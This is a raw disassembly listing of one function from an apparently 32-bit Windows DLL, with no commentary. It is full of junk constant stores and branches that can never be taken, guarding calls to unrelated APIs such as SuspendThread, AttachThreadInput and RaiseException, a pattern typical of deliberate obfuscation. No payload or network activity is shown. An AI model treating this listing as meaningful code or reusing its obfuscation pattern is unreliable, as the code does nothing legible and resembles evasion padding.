mov eax, dword [ebp - 0x14]
mov dword [ebp - 0x1c], eax
cmp dword [ebp - 0x1c], ebx
jne 0x1003a813
mov eax, dword [ebp - 0x1c]
mov dword [ebp - 0x10], eax
mov eax, dword [ebp - 0x10]
cmp eax, dword [ebp - 0x350]
jg 0x1003a7cd
mov eax, dword [ebp - 0x10]
mov eax, dword [ebp - 0x34c]
mov dword [ebp - 0x24], 4
mov eax, dword [ebp - 0x1c]
add eax, dword [ebp - 0x24]
sub eax, dword [ebp - 0x1c]
neg eax
sbb eax, eax
inc eax
add eax, dword [ebp - 0x1c]
je 0x1003a7f5
cmp dword [ebp - 0x344], ebx
jne 0x1003a7f7
mov edx, ebx
mov eax, dword [ebp - 0x350]
xor ecx, ecx
cmp edx, eax
setg cl
cmp ecx, dword [ebp - 0x350]
jle 0x1003a810
mov edx, ebx
jmp 0x1003a813
xor edx, edx
inc edx
mov eax, dword [ebp - 0x350]
xor ecx, ecx
cmp edx, eax
setle cl
xor edx, edx
mov dword [ebp - 0x348], ecx
inc edx
mov eax, dword [ebp - 0x1c]
xor ecx, ecx
mov eax, dword [ebp - 0x2c]
mov eax, dword [ebp - 0x30]
mov eax, dword [ebp - 0x1c]
mov eax, dword [ebp - 0x1c]
mov eax, dword [ebp - 0x14]
mov eax, dword [ebp - 0x14]
mov eax, dword [ebp - 0x14]
mov eax, dword [ebp - 0x14]
mov eax, dword [ebp - 0x50]
mov eax, dword [ebp - 0x1c]
mov eax, dword [ebp - 0x1c]
cmp eax, edx
setle cl
mov dword [ebp - 0x50], ecx
mov dword [ebp - 0x10], edi
lea ecx, [ebp - 0x318]
push 2
call fcn.100099bf
mov dword [ebp - 0x30], 0xf1a0
mov dword [ebp - 0x10], ebx
jmp 0x1003a886
mov ecx, dword [ebp - 0x10]
mov eax, dword [ebp - 0x318]
mov dword [eax + ecx*4], 0x6e6bacd7
inc dword [ebp - 0x10]
cmp dword [ebp - 0x10], 2
jl 0x1003a873
mov dword [ebp - 0x2c], 0x22e3
cmp dword [ebp - 0x2c], 0x632
jge 0x1003a973
lea eax, [ebp - 0x3e0]
push eax
push 0x10007dc0
call fcn.1004c09b
mov esi, dword [ebp - 0x3e0]
xor eax, eax
mov edi, dword [ebp - 0x3dc]
inc eax
pop ecx
pop ecx
xor ecx, ecx
mov dword [ebp - 0x3c], eax
and dword [ebp - 0x1bc], ecx
mov edx, ecx
mov dword [ebp - 0x2c], ebx
mov dword [ebp - 0x1c4], edx
mov dword [ebp - 0x1c0], ecx
mov byte [ebp - 4], 0xa
test edi, edi
jl 0x1003a93a
jg 0x1003a8ec
test esi, esi
je 0x1003a93a
xor ecx, ecx
push ecx
push 0xa
push edi
add eax, eax
push esi
mov dword [ebp - 0x3c], eax
call fcn.1005fb70
mov esi, eax
mov dword [ebp - 0x308], ecx
lea eax, [ebp - 0x308]
mov dword [ebp - 0x34], ebx
push eax
lea ecx, [ebp - 0x1c4]
mov edi, edx
call fcn.10033345
mov eax, dword [ebp - 0x3c]
xor ecx, ecx
cmp edi, ecx
jg 0x1003a8ee
jl 0x1003a92b
cmp esi, ecx
ja 0x1003a8ee
mov ecx, dword [ebp - 0x1c0]
mov edx, dword [ebp - 0x1c4]
mov ebx, dword [ebp - 0x2c]
sub ecx, edx
sar ecx, 2
dec ecx
js 0x1003a953
push 7
pop esi
xor eax, eax
cmp dword [edx + ecx*4], esi
sete al
dec ecx
lea ebx, [eax + ebx*2]
jns 0x1003a945
mov eax, dword [ebp - 0x3c]
dec eax
add eax, ebx
push eax
push 0x10007b6c
call fcn.1004c2b6
pop ecx
pop ecx
lea ecx, [ebp - 0x1c4]
call fcn.10009e99
xor ebx, ebx
mov byte [ebp - 0x15], bl
cmp byte [ebp - 0x15], 0
je 0x1003a989
push ebx
push 0x1eff
push ebx
call dword [sym.imp.GDI32.dll_ExtCreateRegion]
cmp dword [ebp - 0x30], ebx
je 0x1003a9ac
mov eax, dword [ebp - 0x318]
xor edx, edx
xor ecx, ecx
inc edx
mov eax, dword [eax + 4]
cmp eax, edx
setle cl
imul ecx, dword [ebp - 0x30]
imul ecx, eax
test ecx, ecx
jne 0x1003a9ae
mov edx, ebx
mov ecx, dword [ebp - 0x30]
mov eax, dword [ebp - 0x318]
imul ecx, edx
mov eax, dword [eax]
sub ecx, 4
neg ecx
sbb ecx, ecx
inc ecx
sub ecx, eax
neg ecx
sbb ecx, ecx
inc ecx
imul ecx, eax
mov eax, dword [ebp - 0x318]
mov byte [ebp - 4], 8
mov dword [eax], ecx
lea ecx, [ebp - 0x318]
call fcn.10009e99
mov dword [ebp - 0x34], 0xffffffff
mov byte [ebp - 0x15], bl
cmp byte [ebp - 0x15], 0
je 0x1003a9fd
push ebx
push ebx
call dword [sym.imp.USER32.dll_EnumWindows]
mov byte [ebp - 0x15], bl
cmp byte [ebp - 0x15], 0
je 0x1003aa0d
push ebx
call dword [sym.imp.KERNEL32.dll_SuspendThread]
xor edx, edx
mov dword [ebp - 0x10], ebx
inc edx
jmp 0x1003aa24
mov ecx, dword [ebp - 0x10]
mov eax, dword [ebp - 0x3cc]
mov dword [eax + ecx*4], edx
inc dword [ebp - 0x10]
cmp dword [ebp - 0x10], edx
jl 0x1003aa15
push 3
pop edi
mov dword [ebp - 0x14], edi
cmp dword [ebp - 0x14], 0xfffffff6
jge 0x1003aca7
mov esi, 0xa5d6c05b
push 0xfffffffffffffffd
pop eax
mov dword [ebp - 0x44], eax
mov dword [ebp - 0x1b8], esi
mov dword [ebp - 0x1b4], esi
mov dword [ebp - 0x1b0], esi
mov dword [ebp - 0x1ac], esi
mov dword [ebp - 0x40], 0xaa6e6f7f
mov dword [ebp - 0x1ac], 0xfffffff4
jmp 0x1003aac2
mov dword [ebp - 0x2c], 0xa9c4c8d3
mov dword [ebp - 0x50], 0xfffffff6
cmp dword [ebp - 0x2c], ebx
jne 0x1003aa95
mov dword [ebp - 0x40], edx
cmp dword [ebp - 0x40], ebx
jne 0x1003aa95
mov eax, dword [ebp - 0x1ac]
mov dword [ebp - 0x50], eax
jmp 0x1003aabc
mov dword [ebp - 0x2c], edx
mov dword [ebp - 0x2c], 0xfffffffe
mov byte [ebp - 0x15], bl
cmp byte [ebp - 0x15], 0
je 0x1003aabc
push edx
push 0x1783
push 0x1c43
call dword [sym.imp.USER32.dll_AttachThreadInput]
xor edx, edx
inc edx
dec dword [ebp - 0x1ac]
cmp dword [ebp - 0x1ac], 0xffffffef
jle 0x1003aa6f
mov dword [ebp - 0x1c], 0xe469ad59
mov dword [ebp - 0x10], ebx
jmp 0x1003aae8
mov eax, dword [ebp - 0x10]
mov dword [ebp + eax*4 - 0x640], 0xfffffff6
inc dword [ebp - 0x10]
cmp dword [ebp - 0x10], edi
jl 0x1003aad7
mov dword [ebp - 0x1c], ebx
jmp 0x1003aaff
mov eax, dword [ebp - 0x1c]
mov dword [ebp + eax*4 - 0x640], edx
inc dword [ebp - 0x1c]
cmp dword [ebp - 0x1c], edi
jl 0x1003aaf2
mov dword [ebp - 0x1c], 0x17
jmp 0x1003ab34
mov dword [ebp - 0x10], 0xe4438bea
mov dword [ebp - 0x10], 2
cmp dword [ebp - 0x10], ebx
jl 0x1003ab31
mov eax, dword [ebp - 0x10]
cmp dword [ebp + eax*4 - 0x640], ebx
jne 0x1003ab31
dec dword [ebp - 0x10]
jns 0x1003ab20
dec dword [ebp - 0x1c]
cmp dword [ebp - 0x1c], 0xfffffff8
jle 0x1003ab0d
mov byte [ebp - 0x15], bl
cmp byte [ebp - 0x15], 0
je 0x1003ac54
mov dword [ebp - 0x24], edx
lea ecx, [ebp - 0x39c]
push edi
call fcn.100099bf
mov dword [ebp - 0x64], 0xfffffffe
xor edx, edx
mov dword [ebp - 0x40], 0x7f05f432
inc edx
mov dword [ebp - 0x50], 0x67606e82
push 7
pop eax
mov dword [ebp - 0x60], eax
mov dword [ebp - 0x30], 0x861a
mov dword [ebp - 0x2c], edx
mov dword [ebp - 0x40], 0x7cf2842c
mov dword [ebp - 0x40], ebx
mov dword [ebp - 0x40], 0xfffffff7
mov dword [ebp - 0x40], 0x9ef6e88
mov dword [ebp - 0x10], ebx
jmp 0x1003abae
mov ecx, dword [ebp - 0x10]
mov eax, dword [ebp - 0x39c]
mov dword [eax + ecx*4], 2
inc dword [ebp - 0x10]
cmp dword [ebp - 0x10], edi
jl 0x1003ab9b
mov ecx, dword [ebp - 0x30]
mov eax, dword [ebp - 0x24]
dec dword [ebp - 0x30]
cmp eax, ecx
mov eax, edx
cmovg eax, ebx
mov dword [ebp - 0x40], eax
mov ecx, dword [ebp - 0x40]
mov eax, dword [ebp - 0x39c]
mov dword [eax + 4], ecx
mov eax, dword [ebp - 0x24]
mov eax, dword [ebp - 0x24]
mov eax, dword [ebp - 0x39c]
mov ecx, dword [eax]
mov eax, dword [ebp - 0x24]
add eax, ecx
je 0x1003abeb
test ecx, ecx
jne 0x1003abed
mov edx, ebx
mov eax, dword [ebp - 0x2c]
xor ecx, ecx
cmp edx, eax
setne cl
mov dword [ebp - 0x40], ecx
mov eax, dword [ebp - 0x40]
mov dword [ebp - 0x40], eax
mov eax, dword [ebp - 0x40]
mov dword [ebp - 0x40], eax
mov eax, dword [ebp - 0x40]
add eax, dword [ebp - 0x24]
cmp eax, 0xc03fdda7
sbb eax, eax
neg eax
sub eax, dword [ebp - 0x50]
neg eax
sbb eax, eax
xor ecx, ecx
inc eax
imul eax, dword [ebp - 0x64]
cmp eax, 0xcaf6
mov eax, dword [ebp - 0x24]
setl cl
xor edx, edx
cmp eax, ecx
mov eax, dword [ebp - 0x60]
setne dl
xor ecx, ecx
cmp edx, eax
setle cl
mov dword [ebp - 0x40], ecx
lea ecx, [ebp - 0x39c]
call fcn.10009e99
push ebx
call dword [sym.imp.KERNEL32.dll_ResumeThread]
push edi
lea ecx, [ebp - 0x468]
call fcn.100099bf
mov dword [ebp - 0x10], ebx
jmp 0x1003ac78
mov ecx, dword [ebp - 0x10]
mov eax, dword [ebp - 0x468]
mov dword [eax + ecx*4], 0x399841b3
inc dword [ebp - 0x10]
cmp dword [ebp - 0x10], edi
jl 0x1003ac65
mov eax, dword [ebp - 0x468]
lea ecx, [ebp - 0x468]
mov dword [eax], 0xffffffec
call fcn.10009e99
mov eax, dword [ebp - 0x44]
dec dword [ebp - 0x14]
cmp dword [ebp - 0x14], 0xfffffff6
push 1
pop edx
jl 0x1003aa3e
movdqa xmm0, xmmword [0x10007f50]
lea ecx, [ebp - 0x834]
push ecx
lea eax, [ebp - 0x824]
mov dword [ebp - 0x30], 0xffffffff
push eax
push ecx
mov dword [ebp - 0x30], edx
lea ecx, [ebp - 0x774]
movdqu xmmword [ebp - 0x834], xmm0
call fcn.100099fb
xor ecx, ecx
mov dword [ebp - 0x1c], ebx
inc ecx
jmp 0x1003aced
mov eax, dword [ebp - 0x1c]
mov dword [ebp + eax*4 - 0x5c], ecx
inc dword [ebp - 0x1c]
cmp dword [ebp - 0x1c], ecx
jl 0x1003ace3
mov dword [ebp - 0x1c], ebx
jmp 0x1003ad08
mov eax, dword [ebp - 0x1c]
mov dword [ebp + eax*4 - 0x584], 0xf9150fae
inc dword [ebp - 0x1c]
cmp dword [ebp - 0x1c], 4
jl 0x1003acf7
mov eax, dword [ebp - 0x5c]
xor edx, edx
mov dword [ebp - 0x30], eax
mov eax, dword [ebp - 0x5c]
mov eax, dword [ebp - 0x5c]
mov ecx, dword [ebp - 0x5c]
mov eax, dword [ebp - 0x5c]
cmp ecx, eax
mov eax, dword [ebp - 0x5c]
setge dl
xor ecx, ecx
cmp edx, eax
setle cl
mov dword [ebp - 0x30], ecx
mov eax, dword [ebp - 0x30]
mov dword [ebp - 0x57c], eax
mov eax, dword [ebp - 0x5c]
mov ecx, dword [ebp - 0x5c]
mov eax, dword [ebp - 0x580]
sub ecx, eax
mov eax, dword [ebp - 0x5c]
add eax, ecx
jne 0x1003ad55
mov eax, dword [ebp - 0x30]
mov ecx, dword [ebp - 0x5c]
xor edx, edx
mov eax, dword [ebp - 0x57c]
cmp ecx, eax
setne dl
xor eax, eax
inc eax
cmp eax, edx
mov eax, dword [ebp - 0x5c]
sbb ecx, ecx
xor edx, edx
inc ecx
cmp ecx, eax
mov eax, dword [ebp - 0x5c]
setl dl
sub edx, eax
mov eax, dword [ebp - 0x5c]
sub edx, eax
mov eax, dword [ebp - 0x5c]
imul eax, edx
test eax, eax
je 0x1003ad90
cmp dword [ebp - 0x5c], ebx
jne 0x1003ad9c
cmp dword [ebp - 0x57c], ebx
jne 0x1003ad9c
mov ecx, ebx
jmp 0x1003ada1
xor eax, eax
lea ecx, [eax + 1]
mov eax, dword [ebp - 0x5c]
mov edx, 0x79f43dc4
sub edx, ecx
mov dword [ebp - 0x30], eax
add edx, dword [ebp - 0x30]
xor ecx, ecx
mov eax, dword [ebp - 0x5c]
cmp edx, eax
mov eax, dword [ebp - 0x774]
setle cl
mov dword [eax + 0xc], ecx
lea ecx, [ebp - 0x774]
call fcn.10009e99
cmp dword [ebp - 0x14], ebx
je 0x1003b753
mov dword [ebp - 0x44], 0x5fa31871
xor ecx, ecx
mov dword [ebp - 0x1c], 0xffffffff
inc ecx
push 5
pop eax
mov dword [ebp - 0x24], eax
mov dword [ebp - 0x40], 0xdf0ebf90
mov dword [ebp - 0x40], ecx
mov dword [ebp - 0x28], 9
mov dword [ebp - 0x2c], 0x8efa97f5
mov dword [ebp - 0x10], ebx
jmp 0x1003ae1d
mov eax, dword [ebp - 0x10]
mov dword [ebp + eax*4 - 0x650], 4
inc dword [ebp - 0x10]
cmp dword [ebp - 0x10], ecx
jl 0x1003ae0c
mov eax, dword [ebp - 0x1c]
mov dword [ebp - 0x24], eax
mov eax, dword [ebp - 0x24]
mov eax, dword [ebp - 0x1c]
mov eax, dword [ebp - 0x1c]
cmp dword [ebp - 0x1c], ebx
je 0x1003ae3d
mov eax, ebx
cmp dword [ebp - 0x24], ebx
je 0x1003ae3f
mov eax, ecx
mov dword [ebp - 0x40], eax
mov eax, dword [ebp - 0x40]
neg eax
sbb eax, eax
xor edx, edx
inc eax
mov dword [ebp - 0x40], eax
mov ecx, dword [ebp - 0x28]
mov eax, dword [ebp - 0x40]
cmp eax, ecx
mov eax, dword [ebp - 0x28]
setl dl
xor ebx, ebx
cmp edx, eax
mov eax, dword [ebp - 0x1c]
setg bl
xor ecx, ecx
cmp ebx, eax
setg cl
xor ebx, ebx
mov dword [ebp - 0x2c], ecx
mov dword [ebp - 0x28], ebx
jmp 0x1003aeb5
mov byte [ebp - 0x15], bl
cmp byte [ebp - 0x15], bl
je 0x1003ae96
push ebx
push 0x22db
push 0x21ea
push 0x1e85
call dword [sym.imp.KERNEL32.dll_RaiseException]
mov dword [ebp - 0x24], ebx
cmp dword [ebp - 0x24], ebx
jl 0x1003aeb2
mov byte [ebp - 0x15], bl
cmp byte [ebp - 0x15], bl
je 0x1003aead
push ebx
call dword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
dec dword [ebp - 0x24]
jns 0x1003ae9e
inc dword [ebp - 0x28]
cmp dword [ebp - 0x28], ebx
jle 0x1003ae78
xor eax, eax
inc eax
mov dword [ebp - 0x2c], eax
mov dword [ebp - 0x14], ebx
cmp dword [ebp - 0x14], ebx
jg 0x1003bd84
mov eax, 0xfc2285fa
mov dword [ebp - 0x24], 0xfffffffe
mov dword [ebp - 0x5a4], eax
mov dword [ebp - 0x5a0], eax
mov dword [ebp - 0x59c], eax
mov dword [ebp - 0x598], eax
mov dword [ebp - 0x24], 0x12
jmp 0x1003af49
mov dword [ebp - 0x3c], ebx
mov dword [ebp - 0x10], ebx
jmp 0x1003af12
mov eax, dword [ebp - 0x10]
mov dword [ebp + eax*4 - 0x9f4], 8
inc dword [ebp - 0x10]
cmp dword [ebp - 0x10], 4
jl 0x1003af01
mov byte [ebp - 0x15], bl
cmp byte [ebp - 0x15], 0
je 0x1003af29
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_CreateDirectoryW]
mov dword [ebp - 0x3c], edi
cmp dword [ebp - 0x3c], ebx
jl 0x1003af46
mov byte [ebp - 0x15], bl
cmp byte [ebp - 0x15], 0
je 0x1003af41
push ebx
call dword [sym.imp.KERNEL32.dll_GlobalFree]
dec dword [ebp - 0x3c]
jns 0x1003af31
dec dword [ebp - 0x24]
cmp dword [ebp - 0x24], 0xa
jg 0x1003aef9
mov eax, dword [ebp - 0x24]
lea ecx, [ebp - 0x2b8]
mov dword [ebp - 0x24], eax
mov eax, dword [ebp - 0x24]
mov dword [ebp - 0x5a4], eax
xor eax, eax
inc eax
mov dword [ebp - 0x28], 0xf3938425
push eax
call fcn.100099bf
xor edx, edx
mov dword [ebp - 0x24], 0x8094a188
mov dword [ebp - 0x10], ebx
inc edx
jmp 0x1003af96
mov ecx, dword [ebp - 0x10]
mov eax, dword [ebp - 0x2b8]
mov dword [eax + ecx*4], 0x9f9b3198
inc dword [ebp - 0x10]
cmp dword [ebp - 0x10], edx
jl 0x1003af83
mov dword [ebp - 0x24], ebx
jmp 0x1003b273
mov dword [ebp - 0x3c], 0xf36f6dd8
mov ecx, dword [ebp - 0x24]
mov eax, dword [ebp - 0x2b8]
cmp dword [eax + ecx*4], ebx
je 0x1003afca
cmp dword [ebp - 0x24], ebx
jle 0x1003afa3
lea ecx, [ebp - 0x2b8]
mov byte [ebp - 4], 8
call fcn.10009e99
mov dword [ebp - 0x30], 0xfffffff9
lea ecx, [ebp - 0x528]
push 4
call fcn.100099bf
xor edx, edx
inc edx
mov dword [ebp - 0x2c], edx
mov dword [ebp - 0x40], ebx
mov dword [ebp - 0x50], 0x74a71a6e
mov dword [ebp - 0x40], 0x66efe0cd
mov dword [ebp - 0x2c], edx
mov dword [ebp - 0x34], 0xb467bb1a
mov dword [ebp - 0x1c], ebx
jmp 0x1003b2d8
mov dword [ebp - 0x4c], 8
mov dword [ebp - 0x10], ebx
mov dword [ebp - 0x10], ebx
jmp 0x1003b773
mov eax, dword [ebp - 0x10]
mov dword [ebp + eax*4 - 0x8b8], 0x102071b1
inc dword [ebp - 0x10]
cmp dword [ebp - 0x10], 2
jl 0x1003b762
xor edx, edx
mov dword [ebp - 0x10], ebx
inc edx
jmp 0x1003b797
mov byte [ebp - 0x15], bl
cmp byte [ebp - 0x15], 0
je 0x1003b794
push ebx
call dword [sym.imp.USER32.dll_GetMenuItemCount]
xor edx, edx
inc edx
inc dword [ebp - 0x10]
cmp dword [ebp - 0x10], edx
jle 0x1003b781
push 0xfffffffffffffffd
mov dword [ebp - 0x10], ebx
pop ecx
cmp dword [ebp - 0x10], ecx
jge 0x1003bd7d
push 6
pop esi
jmp 0x1003b7b3
xor edx, edx
inc edx
mov dword [ebp - 0x1c], ecx
mov dword [ebp - 0x2c], 0x94b2ab76
mov dword [ebp - 0x34], 0xc1031c36
mov dword [ebp - 0x34], 0xfffffff7
mov dword [ebp - 0x34], edx
mov dword [ebp - 0x34], 0xc7756237
mov dword [ebp - 0x34], 0x1871d0c0
mov dword [ebp - 0x34], 0x8278b721
mov dword [ebp - 0x34], 0xeebcb174
mov dword [ebp - 0x50], 2
mov dword [ebp - 0x1c], ebx
jmp 0x1003b807
mov eax, dword [ebp - 0x1c]
mov dword [ebp + eax*4 - 0x850], 4
inc dword [ebp - 0x1c]
cmp dword [ebp - 0x1c], edi
jl 0x1003b7f6
mov dword [ebp - 0x1c], ebx
jmp 0x1003b822
mov eax, dword [ebp - 0x1c]
mov dword [ebp + eax*4 - 0x898], 0xffffffff
inc dword [ebp - 0x1c]
cmp dword [ebp - 0x1c], edi
jl 0x1003b811
mov dword [ebp - 0x1c], ebx
cmp dword [ebp - 0x1c], edi
jl 0x1003ba16
mov dword [ebp - 0x28], 2
mov dword [ebp - 0x40], 0x52aa0a5d
mov dword [ebp - 0x34], 2
mov dword [ebp - 0x34], ecx
lea ecx, [ebp - 0x558]
mov dword [ebp - 0x34], 0xfffffff7
mov dword [ebp - 0x34], 0xfffffff6
mov dword [ebp - 0x34], 0x25417612
mov dword [ebp - 0x34], ebx
mov dword [ebp - 0x64], edx
mov dword [ebp - 0x34], 0x9efec1a2
mov dword [ebp - 0x60], 0x6dfe535
push edx
call fcn.100099bf
mov byte [ebp - 4], 0xf
xor edx, edx
mov dword [ebp - 0x30], ebx
inc edx
mov dword [ebp - 0x24], ebx
jmp 0x1003b8a2
mov ecx, dword [ebp - 0x24]
mov eax, dword [ebp - 0x558]
mov dword [eax + ecx*4], 0xec6f9132
inc dword [ebp - 0x24]
cmp dword [ebp - 0x24], edx
jl 0x1003b88f
mov byte [ebp - 0x15], bl
cmp byte [ebp - 0x15], 0
je 0x1003b8c0
push 0x2334
push 0x27f
call dword [sym.imp.KERNEL32.dll_Beep]
mov dword [ebp - 0x28], 2
cmp dword [ebp - 0x28], ebx
jl 0x1003b9f5
mov dword [ebp - 0x14], 0xffffffff
lea ecx, [ebp - 0x498]
push 7
mov dword [ebp - 0x40], 0xfffffffa
pop eax
mov dword [ebp - 0x40], ebx
mov dword [ebp - 0x34], eax
mov dword [ebp - 0x3c], ebx
mov dword [ebp - 0x44], 0x67bbda73
push 4
call fcn.100099bf
mov dword [ebp - 0x24], ebx
cmp dword [ebp - 0x24], 4
jge 0x1003b91f
xor edx, edx
inc edx
mov ecx, dword [ebp - 0x24]
mov eax, dword [ebp - 0x498]
mov dword [eax + ecx*4], edx
inc dword [ebp - 0x24]
cmp dword [ebp - 0x24], 4
jl 0x1003b90a
mov byte [ebp - 0x15], bl
cmp byte [ebp - 0x15], 0
je 0x1003b92f
push ebx
call dword [sym.imp.OLEAUT32.dll_VariantCopy]
cmp dword [ebp - 0x2c], ebx
jne 0x1003b9cb
lea ecx, [ebp - 0x558]
mov byte [ebp - 4], 8
call fcn.10009e99
inc dword [ebp - 0x1c]
push 1
pop edx
push 0xfffffffffffffffd
pop ecx
cmp dword [ebp - 0x1c], edi
jge 0x1003b833
mov dword [ebp - 0x30], 0xf8256a9e
mov dword [ebp - 0x1c], ebx
mov dword [ebp - 0x78], 0x4b541145
mov dword [ebp - 0x50], 0xd8143836
mov dword [ebp - 0x58], ecx
mov dword [ebp - 0x40], 0x24b5e495
mov dword [ebp - 0x2c], 0xde57413
mov dword [ebp - 0x24], 0xb80ebbd4
mov dword [ebp - 0x3c], 0xfffffff9
mov dword [ebp - 0x34], 4
mov dword [ebp - 0x44], 9
mov dword [ebp - 0x64], 0xcee24b2e
mov dword [ebp - 0x94], ebx
mov dword [ebp - 0x34], 0x7374fd52
mov dword [ebp - 0x34], 0xfffffff6
mov dword [ebp - 0x60], 0xdda8db88
mov dword [ebp - 0x54], 0xf2f37fc0
mov dword [ebp - 0x34], 0x752e
mov dword [ebp - 0x40], esi
mov dword [ebp - 0x28], 0xffffffff
mov dword [ebp - 0x4c], 0xffff
mov eax, dword [ebp - 0x30]
mov dword [ebp - 0x1c], eax
mov eax, dword [ebp - 0x1c]
inc dword [ebp - 0x28]
mov dword [ebp - 0x40], 0x7b38
mov eax, dword [ebp - 0x28]
mov ecx, dword [ebp - 0x40]
sub ecx, eax
neg ecx
sbb ecx, ecx
inc ecx
sub ecx, dword [ebp - 0x24]
je 0x1003bac8
mov eax, edx
cmp dword [ebp - 0x44], ebx
jne 0x1003baca
mov eax, ebx
mov dword [ebp - 0x3c], eax
xor edx, edx
mov ecx, dword [ebp - 0x44]
mov eax, dword [ebp - 0x3c]
cmp eax, ecx
setle dl
cmp edx, 0x36a77d77
jne 0x1003bae5
mov eax, dword [ebp - 0x24]
mov dword [ebp - 0x40], ebx
mov eax, dword [ebp - 0x2c]
mov eax, dword [ebp - 0x40]
cmp dword [ebp - 0x30], eax
jle 0x1003baff
cmp dword [ebp - 0x50], ebx
je 0x1003baff
xor eax, eax
lea ecx, [eax + 1]
jmp 0x1003bb01
mov ecx, ebx
mov eax, dword [ebp - 0x30]
imul eax, ecx
test eax, eax
je 0x1003bcb4
mov dword [ebp - 0x14], ebx
lea ecx, [ebp - 0x4b0]
push 2
call fcn.100099bf
mov byte [ebp - 4], 0x10
lea ecx, [ebp - 0x300]
mov dword [ebp - 0x40], 0xc855
push edi
call fcn.100099bf
mov dword [ebp - 0x1c], ebx
jmp 0x1003bb4e
mov ecx, dword [ebp - 0x1c]
mov eax, dword [ebp - 0x4b0]
mov dword [eax + ecx*4], 0x421a0e57
inc dword [ebp - 0x1c]
cmp dword [ebp - 0x1c], 2
jl 0x1003bb3b
mov dword [ebp - 0x1c], ebx
jmp 0x1003bb6c
mov dword [ebp - 0x4c], 0x99d3
mov dword [ebp - 0x58], 0x87245417
mov eax, dword [ebp - 0x4c]
mov dword [ebp - 0x58], eax
mov byte [ebp - 0x15], bl
cmp byte [ebp - 0x15], 0
je 0x1003bd6e
xor eax, eax
mov dword [ebp - 0x1c], 0x24ec2e0c
inc eax
lea ecx, [ebp - 0x510]
push eax
call fcn.100099bf
xor edx, edx
mov dword [ebp - 0x24], ebx
inc edx
jmp 0x1003bd02
mov ecx, dword [ebp - 0x24]
mov eax, dword [ebp - 0x510]
mov dword [eax + ecx*4], edx
inc dword [ebp - 0x24]
cmp dword [ebp - 0x24], edx
jl 0x1003bcf3
mov dword [ebp - 0x1c], 0xfffffff3
jmp 0x1003bd2e
dec dword [ebp - 0x10]
push 0xfffffffffffffffd
pop ecx
cmp dword [ebp - 0x10], ecx
jl 0x1003b7b0
mov dword [ebp - 0x4c], 0xb0c3
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x3cc]
call fcn.10009e99
xor eax, eax
lea ecx, [ebp - 0x66c]
inc eax
mov esi, 0x5e17ca00
mov dword [ebp - 0x34], eax
mov dword [ebp - 0x34], edi
mov dword [ebp - 0x34], esi
mov dword [ebp - 0x34], ebx
mov dword [ebp - 0x34], 0xe4438bea
mov dword [ebp - 0x34], eax
mov dword [ebp - 0x34], eax
push edi
call fcn.100099bf
mov edi, 0x8b081589
mov dword [ebp - 0x40], edi
mov dword [ebp - 0x10], ebx
cmp dword [ebp - 0x10], 3
jge 0x1003bde9
xor edx, edx
inc edx
mov ecx, dword [ebp - 0x10]
mov eax, dword [ebp - 0x66c]
mov dword [eax + ecx*4], edx
inc dword [ebp - 0x10]
cmp dword [ebp - 0x10], 3
jl 0x1003bdd4
inc dword [ebp - 0x40]
mov byte [ebp - 0x15], bl
cmp byte [ebp - 0x15], 0
mov ebx, dword [sym.imp.USER32.dll_ClientToScreen]
je 0x1003be06
push 0
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call ebx
lea ecx, [ebp - 0x66c]
call fcn.10009e99
xor eax, eax
inc eax
mov dword [ebp - 0x34], eax
push 3
pop ecx
mov dword [ebp - 0x34], ecx
mov dword [ebp - 0x34], esi
mov dword [ebp - 0x34], 0
mov dword [ebp - 0x34], 0xe4438bea
push ecx
mov dword [ebp - 0x34], eax
lea ecx, [ebp - 0x75c]
mov dword [ebp - 0x34], eax
call fcn.100099bf
mov dword [ebp - 0x40], edi
xor edx, edx
push 3
mov dword [ebp - 0x10], edx
pop edi
cmp dword [ebp - 0x10], edi
jge 0x1003be67
xor esi, esi
inc esi
mov ecx, dword [ebp - 0x10]
mov eax, dword [ebp - 0x75c]
mov dword [eax + ecx*4], esi
inc dword [ebp - 0x10]
cmp dword [ebp - 0x10], edi
jl 0x1003be53
inc dword [ebp - 0x40]
mov byte [ebp - 0x15], dl
cmp byte [ebp - 0x15], dl
je 0x1003be7c
push edx
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call ebx
lea ecx, [ebp - 0x75c]
call fcn.10009e99
mov eax, dword [0x1006a92c]
mov dword [ebp - 0x4c], 0x18f7
cmp dword [ebp - 0x4c], 0xb03
mov dword [ebp - 0x40], eax
jge 0x1003bf4c
push 0x1073e92c
mov ecx, 0x106552b0
call fcn.100096b2
mov eax, dword [0x1073e92c]
xor ebx, ebx
mov edi, ebx
test eax, eax
jle 0x1003bee4
mov esi, 0x1073ed40
push esi
mov ecx, 0x106552b0
call fcn.100096b2
mov eax, dword [esi]
add esi, 4
add dword [0x1073ed38], eax
inc edi
mov eax, dword [0x1073e92c]
cmp edi, eax
jl 0x1003bec4
xor ecx, ecx
inc ecx
cmp dword [0x1073ed40], ecx
jle 0x1003bf02
push 0x10007c20
call fcn.1004c476
mov eax, dword [0x1073e92c]
pop ecx
xor ecx, ecx
inc ecx
mov edi, ecx
mov esi, ecx
cmp eax, ecx
jle 0x1003bf34
lea ecx, [edi + 1]
cmp dword [esi*4 + 0x1073ed40], ecx
jle 0x1003bf28
push ecx
push 0x10007764
call fcn.1004c2b6
mov eax, dword [0x1073e92c]
pop ecx
pop ecx
add edi, dword [esi*4 + 0x1073ed40]
inc esi
cmp esi, eax
jl 0x1003bf0a
mov eax, dword [0x1073ed38]
inc eax
push eax
push 0x10007764
call fcn.1004c2b6
pop ecx
pop ecx
push 3
pop edi
jmp 0x1003bf4e
xor ebx, ebx
mov eax, dword [ebp + 8]
mov edx, 0x1a049fe3
push 0x11
pop ecx
push 5
mov dword [eax], ebx
mov esi, 0xf84b8114
mov dword [eax + 4], ebx
mov dword [eax + 8], ebx
mov dword [eax + 0xc], ebx
mov dword [ebp - 0x24], edx
mov dword [ebp - 0x24], ecx
pop eax
jmp 0x1003bf9c
mov dword [ebp - 0x10], ebx
cmp dword [ebp - 0x10], edi
jge 0x1003bf91
mov eax, dword [ebp - 0x10]
mov dword [ebp + eax*4 - 0x8b0], esi
inc dword [ebp - 0x10]
cmp dword [ebp - 0x10], edi
jl 0x1003bf7c
push 5
pop eax
cmp dword [ebp - 0x8b0], ebx
jne 0x1003bfa1
dec dword [ebp - 0x24]
cmp dword [ebp - 0x24], eax
jne 0x1003bf74
mov dword [ebp - 0x24], edx
